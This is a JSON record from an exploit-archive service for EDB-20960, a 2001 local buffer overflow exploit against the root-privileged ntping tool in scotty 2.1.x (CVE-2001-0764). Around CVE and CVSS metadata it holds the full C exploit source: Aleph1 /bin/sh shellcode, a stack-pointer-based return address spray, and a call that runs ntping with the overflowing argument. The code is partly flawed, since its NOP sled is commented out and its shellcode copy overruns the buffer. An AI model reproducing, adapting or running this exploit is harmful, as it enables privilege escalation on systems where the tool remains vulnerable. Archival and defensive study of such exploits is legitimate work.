{"exploit":{"id":"EDB-20960","name":"Juergen Schoenwaelder scotty 2.1.x - ntping Buffer Overflow","description":"Juergen Schoenwaelder scotty 2.1.x - ntping Buffer Overflow","cves":["CVE-2001-0764"],"author":"Larry W. Cashdollar","published":"2001-06-13","platform":"unix","type":"local","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/20960","path":"exploits/unix/local/20960.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-20960.c","vulnerabilities":[{"id":"CVE-2001-0764","state":"PUBLISHED","title":null,"titleSource":null,"description":"Buffer overflow in ntping in scotty 2.1.0 allows local users to execute arbitrary code via a long hostname as a command line argument.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2001-0764","cvss":{"version":"2.0","baseScore":7.2,"severity":"high","vectorString":"AV:L/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2001-0764"},"updatedAt":"2024-08-08T04:30:06.127Z","retrievedAt":"2026-11-27T15:11:33.954Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-20960.png?v=2","url":"https://exploitbin.com/exploits/EDB-20960","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-20960/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-20960/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"// source: https://web.archive.org/web/2001/https://www.securityfocus.com/bid/2911/info\n\nntping is a component of scotty, a Tcl interpreter used to retrieve status and configuration information for TCP/IP networks. The utility, which runs with root privileges, contains a locally exploitable buffer overflow vulnerability. A local attacker can supply a long string as a command line argument to ntping, which, if the argument is of sufficient length (approximately 9000 characters) will induce a segfault.\n\nIf the input is carefully constructed, a local attacker can exploit this vulnerability to execute arbitrary code on the target host.\n\n/*Larry W. Cashdollar                6/13/2001\n  http://vapid.dhs.org               Vapid Labs\n  Overflows ntping for scotty-2.1.9 based on post by\n  dotslash@snosoft.com*/\n\n#include <stdio.h>\n#include <stdlib.h>\n\n#define NOP 0x90\t\t/*no operation skip to next instruction. */\n#define LEN 590\t\t\t/*our buffersize. */\n\n/*lacks a call to setuid(0)*/\nchar shellcode[]= /*Aleph1's shell code. */\n\"\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46\\x0c\\xb0\\x0b\"\n\"\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd\"\n\"\\x80\\xe8\\xdc\\xff\\xff\\xff/bin/sh\";\n\n/*Nab the stack pointer to use as an index into our nop's*/\nlong\nget_sp ()\n{\n  __asm__ (\"mov %esp, %eax\");\n}\n\nint\nmain (int argc, char *argv[])\n{\n  char buffer[LEN];\n  int i;\n\n  long retaddr = get_sp ();\n\n/*Fill the buffer with our new address to jump to esp + offset */\n  for (i = 0; i < LEN; i += 4)\n    *(long *) &buffer[i] = retaddr + atoi (argv[1]);\n\n/*copy the NOPs  in to the buffer leaving space for shellcode and\npointers*/\n\n  printf (\"Jumping to address %x BufSize %d\\n\", retaddr + atoi (argv[1]),LEN);\n/*\n  for (i = 0; i < (LEN - strlen (shellcode) - 100); i++)\n    *(buffer + i) = NOP;*/\n\n/*copy the shell code into the buffer*/\n  memcpy (buffer + i, shellcode, strlen (shellcode));\n\n  execl (\"/usr/sbin/ntping\", \"ntping\", buffer,0, 0);\n\n}","sha256":"4bc168cf09448f301cd9c42b2e4107a31380b57c7c43245f7648a465d0af2128","bytes":1952,"fetchedAt":"2026-11-27T15:11:27.967Z","encoding":"utf-8 (display only; download retains original bytes)"}